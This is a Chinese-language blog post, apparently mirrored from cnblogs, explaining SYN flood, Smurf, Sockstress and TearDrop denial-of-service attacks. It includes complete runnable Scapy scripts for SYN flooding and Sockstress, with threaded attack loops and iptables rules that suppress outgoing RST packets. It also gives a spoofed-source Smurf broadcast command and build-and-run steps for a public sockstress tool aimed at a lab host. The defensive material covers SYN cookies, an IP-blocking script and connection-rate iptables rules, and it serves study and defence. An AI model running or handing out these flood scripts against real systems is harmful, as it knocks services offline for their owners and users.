zoukankan      html  css  js  c++  java
  • Dos攻击之-Synflood-Smurf-Sockstress-TearDrop

    DoS分类

    网络:
    1.基于大量的Flood耗尽目标网络的带宽资源
    例如:ICMP Flood,UDP Flood

    协议:
    1.攻击协议漏洞发起的拒绝服务攻击
    例如:Syn Flood,Ping of Death,SSL

    应用:
    针对应用软件和操作系统漏洞发起的拒绝服务攻击
    例如:CC


    Syn-Flood 伴随着IP地址欺骗,大概原理就是不断的不停的发送Syn包,导致目标服务器没有一个完整的tcp连接 Scapy 基础的Scapy定义数据包头 >>> i=IP() >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 127.0.0.1 dst= 127.0.0.1 options >>> i.dst="10.0.1.87" >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 10.0.1.92 dst= 10.0.1.87 options >>> t=TCP() >>> t.display() ###[ TCP ]### sport= ftp_data dport= http seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= [] >>> t.dport=22 >>> t.display() ###[ TCP ]### sport= ftp_data dport= ssh seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= [] >>> sr1(i/t,verbose=1,timeout=2) Begin emission: Finished sending 1 packets. Received 4 packets, got 1 answers, remaining 0 packets <IP version=4 ihl=5 tos=0x0 len=44 id=0 flags=DF frag=0 ttl=64 proto=tcp chksum=0x241a src=10.0.1.87 dst=10.0.1.92 |<TCP sport=ssh dport=ftp_data seq=2412378543 ack=1 dataofs=6 reserved=0 flags=SA window=29200 chksum=0x85af urgptr=0 options=[('MSS', 1460)] |<Padding load='x00x00' |>>>

    防火墙配置关闭本机发送rst包

    RST包的作用:告诉服务器我不和你建立连接,计算机在接收到服务器的ack+syn包的时候,系统会自动发送RST

    sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
    sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.132 -j DROP
    netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' //查看本机tcp连接数

    iptables -A ufw-user-input -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
    或者使用ufw进行管理防火墙模块,但是无法添加准确的关闭drop rst的数据包
    sudo ufw deny to 192.168.180.133
    sudo ufw route deny to 192.168.180.133

    
    

    https://help.ubuntu.com/community/UFW
    http://manpages.ubuntu.com/manpages/bionic/man8/ufw.8.html

    
    
    syn_flood.py
    
    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    
    from scapy.all import *
    from time import sleep
    import thread
    import random
    import logging
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    
    if len(sys.argv) !=4:
        print "usage: ./syn_flood.py 10.0.1.1 80 50"
        sys.exit()
    
    target = str(sys.argv[1])
    port = int(sys.argv[2])
    threads = int(sys.argv[3])
    
    print "Now Attacking with syn-flood please ctrl+c stop the attack"
    def synflood(target,port):
        while 8 == 8:
            x = random.randint(0,65535)
            send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
    
    for x in range(0,threads):
        thread.start_new_thread(synflood, (target,port))
    
    while 8 == 8:
        sleep(1)
    
    
    TCP所有连接会话的状态
    LISTEN   服务器端口处于侦听状态,等待连接请求
    SYN-SENT 客户端发起连接请求,等待对端响应
    SYN-RECV 服务端已经收到连接请求 (表示服务端接收到客户端的SYN包,并向服务端发送了SYN+ACK,但是没有收到客户端的ACK包,所以一直处于SYN-RECV的状态)
    ESTABLISHED  客户端和服务端3次握手成功,TCP连接已经建立
    FIN-WAIT-1  客户端或者服务端等待对端响应中断请求确认,或者对端中断请求
    FIN-WAIT-2  客户端或者服务端等待对端发送中断请求
    CLOSE-WAIT  客户端或者服务端等待本地进程、用户关闭连接
    CLOSING     客户端或者服务端等待对端响应连接中断确认
    LAST-ACK    客户端或者服务端等待对端响应之前的连接中断确认
    TIME-WAIT   客户端或者服务端等待足够时间长度确保对端收到连接中断确认(最大4分钟)
    CLOSE       客户端或者服务端没有任何连接状态
    
    IP地址欺骗
    经常用于DOS攻击
    根据IP头地址寻址 -- 伪造IP源地址
    边界路由过滤 -- 入站,出站
    受害者可能是源,目的地址
    绕过基于地址的验证
    压力测试模拟多用户
    上传协议(TCP协议号)


    防御方式:
    1.发现同一个IP地址对某端口建立不完整连接,直接封掉IP地址,下面是防御脚本

    
    

    #!/bin/bash

    
    

    netstat -an|grep SYN_RECV|awk '{print$5}'|awk -F: '{print$1}'|sort|uniq -c|sort -rn|awk '{if ($1 >5) print $2}' >> /tmp/dropip
    for i in $(cat /tmp/dropip)
    do
    /sbin/iptables -A INPUT -s $i -j DROP
    echo &ldquo;$i kill at `date`&rdquo; >>/var/log/ddos
    done

    
    

    2.减少syn-received的过期时间
    3.设置防火墙进站和入站的规则
    4.配置syn cookie

    
    

    防御文章参考:
    https://zh.wikipedia.org/wiki/SYN_cookie
    https://segmentfault.com/a/1190000019292140
    https://www.lijiaocn.com/%E6%8A%80%E5%B7%A7/2017/09/04/linux-net-tcp.html

    
    

    syn flood参考
    https://github.com/myh0st/scripts/blob/master/synflood/Syn_flood.py
    https://mp.weixin.qq.com/s/jT4yxnpfFJ8QWGQECIvgHw

    
    Smurf攻击

    技术原理:利用icmp包,伪造源IP发广播包,广播局域网内的所有计算机回复广播包给伪造的IP,造成攻击对伪造IP的效果
    对现在的操作系统几乎无效(不响应广播包)

    
    

    Scapy
    – i=IP()
    – i.dst="1.1.1.255"
    – p=ICMP()
    – p.display()
    – r=(i/p)
    – send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)

    
    

    参考:
    https://www.shuzhiduo.com/A/Gkz1qQ16zR/
    https://segmentfault.com/a/1190000020079901
    https://www.cloudflare.com/zh-cn/learning/ddos/smurf-ddos-attack/
    https://www.wangan.com/wikis/610
    https://www.youtube.com/watch?v=zyZn_c54mgA

    
    Sockstress攻击
    消耗被攻击目标系统资源 -与攻击目标建立大量socket链接完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) -攻击者资源消耗小(CPU、内存、带宽)异步攻击,单机可拒绝服务高配资源服务器Window窗-实现的TCP流控
    
    python测试代码

    #!/usr/bin/python
    #coding=utf-8
    
    from scapy.all import*
    from time import sleep
    import thread
    import random
    import logging
    import os
    import signal
    import sys
    import signal
    
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    
    if len(sys.argv) != 4:
        print "用法: ./sockstress.py [IP地址] [端口] [线程数]"
        print "举例: ../sockstress.py  1.1.1.1 80 20 # 请确定被攻击端口处于开放状态"
        sys.exit()
    
    target = str(sys.argv[1])
    dstport= int(sys.argv[2])
    threads = int(sys.argv[3])
    
    ## 攻击函数
    def sockstress(target,dstport) :
        while 0 == 0:
            try:
                x = random.randint(0,65535)
                response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0)
                send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'x00x00',verbose=0)
            except:
                pass
    
    ## 停止攻击函数
    def shutdown(signal,frame):
        print "正在修复 iptables 规则"
        os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
        sys.exit()
    
    ## 添加iptables规则
    os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
    signal.signal(signal.SIGINT, shutdown)
    
    ## 多线程攻击
    print "
    攻击正在进行...按 Ctrl+C 停止攻击"
    for x in range(0,threads):
        thread.start_new_thread(sockstress, (target,dstport))
    
    ##永远执行
    while 0 == 0:
        sleep(1)


    攻击测试:
    测试之前还是要把操作系统发送的tcp reset请求给drop掉
    sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
    下载并执行测试
    git clone https://github.com/defuse/sockstress && cd sockstress/ && make
    sudo ./sockstress 192.168.180.133:80 eth1 -p payloads/http -d 10
    访问目标http://192.168.180.133发现已经无法访问了
    防御措施 至今sockstress攻击仍然是一种有效的DoS攻击方式 由于已经建立完整的TCP三次握手,因此使用syn cookie防御机制是无效的 根本的 防御方法可以是采用白名单机制,但是不现实 折中对策:限制单位时间内每IP建立的TCP连接数 封杀每30秒与80端口建立连接超过10个的IP地址 iptables
    -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -¬seconds 30 --hitcount 10 -j DROP 参考: https://github.com/defuse/sockstress https://www.jianshu.com/p/5acb680dc512
    https://mp.weixin.qq.com/s/HCNizX55UKEP0XgC572iHA
    TearDrop攻击 主要针对早期微软操作系统 原理:是使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时被拒绝服务 攻击效果:蓝屏,重启,卡死
    这个不好测试
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    【Beta版本】冲刺-Day6
    【Beta版本】冲刺-Day5
    【Beta版本】冲刺-Day4
    【Beta版本】冲刺-Day3
    【Beta版本】冲刺-Day2
    【Beta版本】冲刺-Day1
    内存管理和虚拟内存
    C++11中的智能指针和锁的类型以及它们背后的RAII机制
    操作系统中面试时问到的相关知识点
    网络层(IP)相关知识
  • 原文地址:https://www.cnblogs.com/autopwn/p/14673693.html
Copyright © 2011-2022 走看看